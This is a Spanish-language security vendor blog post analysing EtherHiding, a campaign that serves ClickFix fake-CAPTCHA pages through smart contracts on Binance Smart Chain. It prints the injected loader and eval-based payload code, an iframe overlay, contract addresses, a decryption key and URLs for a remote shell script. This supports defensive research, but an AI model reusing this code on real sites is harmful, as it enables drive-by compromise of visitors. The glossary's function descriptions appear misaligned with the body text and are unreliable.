Skip to main content
Blog
Attacks Blog

La Blockchain No Es Tu Amiga: Análisis de EtherHiding y el Uso de Blockchain para Ataques

En marzo/abril de 2025 circuló una variante de ClickFix que utilizaba la blockchain de Binance con contratos inteligentes para controlar cargas maliciosas que se distribuían desde un plugin de WordPress comprometido.

Sep 02, 2025 9 min read
Banner de análisis de EtherHiding y blockchain para ataques

Hace menos de dos semanas, uno de los muchos contratos inteligentes inactivos que residen en Binance Smart Chain volvió repentinamente a la vida. Se actualizaron variables del contrato, se reactivaron las cargas maliciosas y el ataque está potencialmente activo en más de 19.800 sitios web comprometidos.

El ataque se conoce como EtherHiding y se centra principalmente en aprovechar contratos inteligentes de blockchain para entregar cargas dinámicas al estilo ClickFix —falsas páginas de verificación CAPTCHA— a las víctimas. Escribimos inicialmente sobre los ataques ClickFix dirigidos a macOS en febrero, pero como ocurre con todos los ataques, su método de entrega ha evolucionado desde entonces. Esta creciente categoría de amenazas del lado del cliente es cada vez más difícil de detectar, y más aún de mitigar.

Somos cside, y monitorizamos ataques de JavaScript de terceros en el lado del cliente. Solo en el primer trimestre de 2025 observamos más de 300.000 sitios web comprometidos.

¿Por Qué Binance Smart Chain?

Binance Smart Chain (BSC) es una plataforma blockchain en rápida expansión diseñada para ejecutar aplicaciones basadas en contratos inteligentes para usuarios que quieren adentrarse en el mundo de las criptomonedas. A diferencia de otras cadenas tradicionales (como Ethereum, por ejemplo), BSC hace hincapié en los bajos costes de transacción con un alto rendimiento, lo que la hace atractiva no solo para los desarrolladores de finanzas descentralizadas, sino también para los actores de amenazas.

Mediante estos contratos inteligentes, un actor de amenazas puede almacenar cargas maliciosas en la cadena, lo que ofrece varias ventajas frente a la infraestructura cloud tradicional:

  • Alojamiento inmutable (porque una vez que está en la blockchain, existe para siempre)
  • Almacenamiento descentralizado sin posibilidad de eliminación
  • Actualización en tiempo real a través de funciones del contrato

En esta campaña de EtherHiding, las funciones getter y setter dentro de estos contratos se utilizan para entregar cargas JavaScript que se adaptan al entorno de la víctima. Se descifran y descomprimen en el navegador, y se ejecutan.

Análisis de la Cadena de Ataque

El ataque comienza con código malicioso inyectado en la etiqueta <head> de un sitio, principalmente en instalaciones de WordPress. Nuestro análisis apunta a plugins vulnerables como el vector de acceso más probable. Una vez que el código malicioso se inserta en el sitio, desencadena un ataque en múltiples etapas que obtiene sus siguientes instrucciones directamente de la blockchain.

Paso 1: Compromiso Inicial y Configuración

El primer punto de contacto de este script malicioso no es un servidor controlado por el atacante, sino una conexión Web3 a Binance Smart Chain. El script se conecta al contrato inteligente en la dirección 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53, iniciando el ataque al solicitar instrucciones adicionales a dicho contrato.

El ABI del contrato devuelto (Application Binary Interface —o una lista de instrucciones del contrato—) y la información están codificados en Base64 y comprimidos con gzip, por lo que el script debe descomprimirlos usando la librería pako (un port JavaScript de la librería de compresión zlib) antes de poder analizarlos y utilizarlos.


const web3 = new Web3("https://bsc-dataseed.binance[.]org/");
const contract = new web3.eth.Contract([...], "0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53");

  

const orchidABI = await contract.methods.orchidABI().call();
const orchidAddress = await contract.methods.orchidAddress().call();
const orchid = new web3.eth.Contract(JSON.parse(orchidABI), orchidAddress);

  

Tras establecer contacto, el script llama a una función de la blockchain para obtener la dirección del siguiente contrato inteligente, ubicado en 0x8FBA1667BEF5EdA433928b220886A830488549BD.

Paso 2: Cargador Multi-Payload a través de tokyoSkytree

El contrato **0x8FBA1667BEF5EdA433928b220886A830488549BD**, denominado internamente contrato Orchid, es el contrato más importante de la cadena de ataque.

Dentro de este contrato se encuentran cinco funciones esenciales que determinan lo que ocurre a continuación en el ataque:

  • tokyoSkytree
  • akihabaraLights
  • asakusaTemple
  • ginzaLuxury
  • shibuyaCrossing

El núcleo del ataque lo inicia la función **tokyoSkytree**, que actúa como un cargador y orquestador controlado de forma remota para toda la carga. Ejecuta las otras cuatro funciones del contrato inteligente una tras otra, y cada una devuelve un blob de JavaScript comprimido y codificado en Base64 para ofuscar aún más sus respuestas.


(async () => {
  if (!checkCookie('not-robot')) {
    await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
    await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
    await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
    await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    setCookie('not-robot', 30);
  }
})();

  

Cada una de estas funciones del contrato inteligente devuelve una carga que es decodificada y ejecutada dinámicamente mediante la función **teaCeremony**:


const teaCeremony = async (encodedScroll, templeNumber) => {
  const cherryBlossoms = atob(encodedScroll);
  const calligraphy = Uint8Array.from(cherryBlossoms, c => c.charCodeAt(0));
  const haiku = pako.ungzip(calligraphy, { to: "string" }).trim();
  await eval(`(async () => { ${haiku} })()`);
};

  

Este pipeline (simplificado) decodifica la cadena Base64, la descomprime con gzip y la ejecuta mediante la función eval. Este diseño hace que la campaña de ataque sea tanto modular como ágil, ya que las cargas almacenadas en la cadena pueden intercambiarse con increíble rapidez.

Paso 3: Fingerprinting de la Víctima

shibuyaCrossing - Determinar el sistema operativo


const summonSpiritOfPlatform = () => {
  const { userAgent, platform } = navigator;
  if (/Win/i.test(platform)) return "Windows";
  if (/Mac/i.test(platform)) return "MacOS";
  if (/Linux/i.test(platform)) return /Android/.test(userAgent) ? "Android" : "Linux";
  return "Unknown";
};

  

akihabaraLights - Determinar el navegador


const summonSpiritOfBrowser = () => {
  const { userAgent } = navigator;
  if (/Chrome/i.test(userAgent)) return "Chrome";
  if (/Firefox/i.test(userAgent)) return "Firefox";
  if (/Safari/i.test(userAgent) && !/Chrome/i.test(userAgent)) return "Safari";
  return "Unknown";
};

  

Las dos funciones shibuyaCrossing y akihabaraLights se utilizan para hacer fingerprinting del entorno de la víctima a través de la información de su sistema operativo y navegador. Esta información se usa posteriormente para servir una versión específica del ataque según el navegador o sistema operativo utilizado.

Paso 4: Descifrado e Inyección de la Carga

Tras hacer fingerprinting del entorno del usuario, **ginzaLuxury** se conecta a un tercer y último contrato inteligente (ubicado en 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA, denominado contrato Jade) que a su vez carga más funciones.

En particular: **getRandomSkylineByBrowserAndPlatform**.

Esta función, tras recibir las variables de navegador y sistema operativo determinadas anteriormente, devuelve una URL desde la que descargar el HTML cifrado que se mostrará. Tras descargar esta carga y descifrarla con la función **pearlTower**, que contiene una clave de descifrado AES-GCM, el ataque se inyecta finalmente en una etiqueta iframe a pantalla completa que se superpone sobre la pantalla de la víctima.


const cherryBlossomHTML = await (await fetch(skylineUrl)).text();
const sakuraKey = await JadeContract.methods.pearlTower().call();
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);

const iframe = document.createElement("iframe");
iframe.srcdoc = decryptedHTML;
iframe.style = "position: fixed; width: 100%; height: 100%; z-index: 2147483647;";
document.body.appendChild(iframe);

  

Según nuestra investigación, la única URL actualmente activa es **https://yie-cpj[.]pages[.]dev/mac**, que tiene una carga activa para usuarios de Firefox, Google Chrome y Safari en macOS.

Paso 5: Análisis del HTML Cifrado

Para validar la etapa final de este ataque, decodificamos y analizamos el HTML cifrado alojado en **https://yie-cpj[.]pages[.]dev/mac**. Usando un script desarrollado durante la investigación, pudimos recopilar las transacciones de la blockchain, decodificar cada carga enviada al contrato y determinar la última clave de descifrado válida utilizada.

La clave **5AcwjGp22pUrT92hKNrO7f7bsbZJPz2PpWYwnP0Muhs=** puede usarse para descifrar la carga HTML mediante la función de descifrado **decryptScrollToText**:


async function decryptScrollToText(encryptedBase64, keyBase64) {
   const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
   console.log(key);
   const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
   const iv = combinedData.slice(0, 12);
   const encryptedData = combinedData.slice(12);
   const cryptoKey = await crypto.subtle.importKey(
       "raw", key, "AES-GCM", false, ["decrypt"]
   );
   const decryptedArrayBuffer = await crypto.subtle.decrypt(
       { name: "AES-GCM", iv },
       cryptoKey,
       encryptedData
   );
   return new TextDecoder().decode(decryptedArrayBuffer);
}

  

El HTML resultante es una carga de phishing al estilo ClickFix diseñada para parecer una página de verificación reCAPTCHA. En lugar de validar al usuario mediante imágenes, instruye a la víctima a:

  1. Abrir el terminal de macOS
  2. Pegar y ejecutar un comando codificado en Base64 que se obtiene dinámicamente desde la función **jadeCode()** en la cadena

El comando de terminal mostrado a los usuarios utiliza Base64 para ofuscar la URL de la carga: https://kimbeech[.]cfd/cap/verify.sh.

Aunque la URL estaba inactiva en el momento del análisis y el script **verify[.]sh** no pudo recuperarse para un examen más detallado, la estructura y el método de entrega no dejan ninguna duda sobre la verdadera intención del atacante.

Al instruir a la víctima para que ejecute un comando inyectado en el portapapeles desde su terminal, el atacante intenta ejecutar un script Bash remoto bajo la apariencia de un familiar proceso de verificación CAPTCHA. Esta es una característica clave de la técnica de ingeniería social ClickFix y representa un riesgo serio de compromiso total del dispositivo.

Por Qué la Seguridad del Lado del Cliente Importa Más que Nunca

Ataques como EtherHiding demuestran hasta qué punto han evolucionado las amenazas del lado del cliente en el panorama actual. Estos ataques son modulares, ofuscados y, como EtherHiding, pueden entregarse íntegramente a través de infraestructura descentralizada que no puede ser desactivada.

Dado que la carga reside en el navegador y reacciona en función del entorno del usuario, estos ataques pueden pasar desapercibidos para las protecciones tradicionales del lado del servidor. Ni siquiera requieren explotar el propio servidor. Solo necesitan que la víctima cargue la página.

Mantenerse por delante de estas amenazas implica no solo monitorizar tu código, sino también lo que tu navegador está ejecutando. Eso incluye cosas como scripts de terceros, activos inyectados y mantener una estrecha vigilancia sobre comportamientos que pueden mutar en tiempo real. A medida que las superficies de ataque del lado del cliente se vuelven cada vez más complejas, también debe hacerlo nuestro enfoque para defendernos de ellas.

Glosario

Nombre

Dirección del Contrato

Propósito

Loader

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

Contrato inicial que proporciona el ABI y la dirección de orchid

Orchid

0x8FBA1667BEF5EdA433928b220886A830488549BD

Lógica de ejecución principal que entrega JavaScript en Base64 + gzip

Jade

0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

Almacena las URLs de cargas cifradas y las claves AES-GCM

URL

Comportamiento

https://yie-cpj[.]pages[.]dev/mac

Superposición de phishing CAPTCHA a pantalla completa (dirigida a macOS)

https://hfdjmoedkjf[.]asia/

Endpoint de telemetría utilizado para registrar cadenas de user-agent

https://kimbeech[.]cfd/

URL del script de shell remoto (actualmente inactiva)

https://orange-service[.]xyz

Endpoint de telemetría en la página del ataque, también utilizado para registrar cadenas de user-agent

Contrato

Función

Rol en el Ataque

Orchid

tokyoSkytree()

Punto de entrada que carga y ejecuta las demás funciones del contrato

Orchid

shibuyaCrossing()

Devuelve el script de detección del sistema operativo

Orchid

akihabaraLights()

Devuelve el script de detección del navegador

Orchid

ginzaLuxury()

Carga el contrato Jade y también activa el flujo de descifrado y renderizado

Orchid

asakusaTemple()

Envía datos de telemetría de vuelta al actor de amenazas

Jade 

getRandomSkylineByBrowserAndPlatform()

Devuelve la clave de descifrado AES-GCM para las cargas HTML emergentes

Jade

pearlTower()

Expone todos los mapeos de cargas con sus URLs

Jade

getAllSkylines()

Permite al atacante cambiar la clave de descifrado (p. ej., rotar el cifrado)

Jade

setPearlTower()


Permite al atacante intercambiar las URLs de las cargas en múltiples plataformas

Jack LaFond
Security Researcher Jack LaFond

I'm a security engineer + security researcher at cside.

Monitorea y Asegura tus Scripts de Terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comienza gratis, o prueba Business con una prueba de 14 días.

Interfaz del panel de cside mostrando monitoreo de scripts y análisis de seguridad
Related Articles
Reservar una demo